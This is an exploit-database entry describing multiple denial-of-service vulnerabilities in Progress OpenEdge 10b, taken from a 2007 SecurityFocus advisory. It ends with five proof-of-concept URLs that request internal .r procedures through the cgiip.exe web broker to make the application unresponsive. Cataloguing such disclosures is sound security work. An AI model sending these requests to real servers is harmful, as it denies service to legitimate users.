Progress OpenEdge 10b - Multiple Denial of Service Vulnerabilities

Author: Eelko Neven
type: dos
platform: windows
port: 0
date_added: 2007-05-11
date_updated: 2013-12-04
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/23926/info

OpenEdge is prone to multiple denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users.

This issue affects OpenEdge 10b; other versions may also be vulnerable.

http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_help.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_comp.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r